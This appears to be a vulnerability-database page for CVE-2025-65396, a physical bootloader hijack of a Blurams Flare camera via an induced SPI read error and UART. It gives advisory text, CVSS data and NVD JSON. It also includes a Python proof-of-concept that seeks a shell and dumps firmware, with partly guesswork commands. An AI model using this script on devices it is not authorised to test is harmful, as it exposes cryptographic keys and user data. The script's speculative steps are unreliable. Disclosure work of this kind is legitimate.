Security Vulnerability Report
中文
CVE-2025-65396 CVSS 6.1 MEDIUM

CVE-2025-65396

Published: 2026-01-14 17:16:07
Last Modified: 2026-02-03 18:38:42

Description

A vulnerability in the boot process of Blurams Flare Camera version 24.1114.151.929 and earlier allows a physically proximate attacker to hijack the boot mechanism and gain a bootloader shell via the UART interface. This is achieved by inducing a read error from the SPI flash memory during the boot, by shorting a data pin of the IC to ground. An attacker can then dump the entire firmware, leading to the disclosure of sensitive information including cryptographic keys and user configurations.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:blurams:dome_flare_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:blurams:dome_flare:-:*:*:*:*:*:*:* - NOT VULNERABLE
Blurams Flare Camera <= 24.1114.151.929

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65396 PoC - Blurams Flare Camera Bootloader Hijack # Hardware Requirements: UART adapter, SPI flash clip/probe, metal tool for shorting import time import serial def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Establish UART connection to the device""" ser = serial.Serial(port, baudrate, timeout=5) time.sleep(2) return ser def trigger_spi_read_error(): """ Physical step: Short SPI flash data pin (IO0) to ground during boot This should be done within 100-500ms after power-on Use a probe or wire to short pins 8 and 6 on the SPI flash IC """ print("[+] Power on device and immediately short SPI flash data pin to GND") print("[+] Recommended: Use oscilloscope trigger to synchronize timing") time.sleep(0.3) print("[+] SPI read error should now be induced") def exploit_bootloader_shell(ser): """Once SPI error is triggered, interact with UART shell""" # Clear buffer ser.reset_input_buffer() # Send break signal to enter bootloader mode ser.send_break(0.1) time.sleep(0.5) # Try common bootloader commands commands = [ 'help', '?', 'shell', 'sh', 'busybox sh', 'cat /proc/mtd', 'cat /dev/mtdblock0 > /dev/ttyGS0' ] for cmd in commands: ser.write((cmd + '\n').encode()) time.sleep(0.3) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') if 'root' in response or '#' in response or 'shell' in response.lower(): print(f"[+] Shell obtained with command: {cmd}") print(response) return True return False def dump_firmware(ser): """Dump firmware via bootloader shell""" # Read SPI flash content dump_cmd = "mtd_debug read /dev/mtd0 0x0 0x800000 /tmp/firmware.bin" ser.write((dump_cmd + '\n').encode()) time.sleep(5) # Transfer firmware via UART or network transfer_cmd = "cat /tmp/firmware.bin | base64" ser.write((transfer_cmd + '\n').encode()) time.sleep(10) return ser.read(ser.in_waiting).decode('utf-8', errors='ignore') def main(): print("CVE-2025-65396 PoC for Blurams Flare Camera") print("=" * 50) # Step 1: Trigger SPI flash read error trigger_spi_read_error() # Step 2: Connect to UART input("Press Enter after shorting SPI pin...") ser = connect_uart() # Step 3: Exploit to get shell if exploit_bootloader_shell(ser): print("[+] Success! Bootloader shell obtained") print("[+] You can now dump firmware and extract keys") # Optional: dump firmware # firmware = dump_firmware(ser) else: print("[-] Failed to obtain shell, try adjusting timing") ser.close() if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65396", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:06.810", "lastModified": "2026-02-03T18:38:42.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the boot process of Blurams Flare Camera version 24.1114.151.929 and earlier allows a physically proximate attacker to hijack the boot mechanism and gain a bootloader shell via the UART interface. This is achieved by inducing a read error from the SPI flash memory during the boot, by shorting a data pin of the IC to ground. An attacker can then dump the entire firmware, leading to the disclosure of sensitive information including cryptographic keys and user configurations."}, {"lang": "es", "value": "Una vulnerabilidad en el proceso de arranque de la cámara Blurams Flare versión 24.1114.151.929 y anteriores permite a un atacante con proximidad física secuestrar el mecanismo de arranque y obtener un shell del bootloader a través de la interfaz UART. Esto se logra al inducir un error de lectura de la memoria flash SPI durante el arranque, al cortocircuitar un pin de datos del CI a tierra. Un atacante puede entonces volcar el firmware completo, lo que lleva a la divulgación de información sensible, incluyendo claves criptográficas y configuraciones de usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-1274"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:blurams:dome_flare_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "24.1114.151.929", "matchCriteriaId": "7DF75DE9-F147-44E6-9DBC-567B852365B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:blurams:dome_flare:-:*:*:*:*:*:*:*", "matchCriteriaId": "D5924B6A-3F95-490D-B119-0ECF8D988F3A"}]}]}], "references": [{"url": "http://blurams.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://flare.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://lessonsec.com/cve/cve-2025-65396/", "source": "[email protected]", "tags": ["Broken Link"]}]}}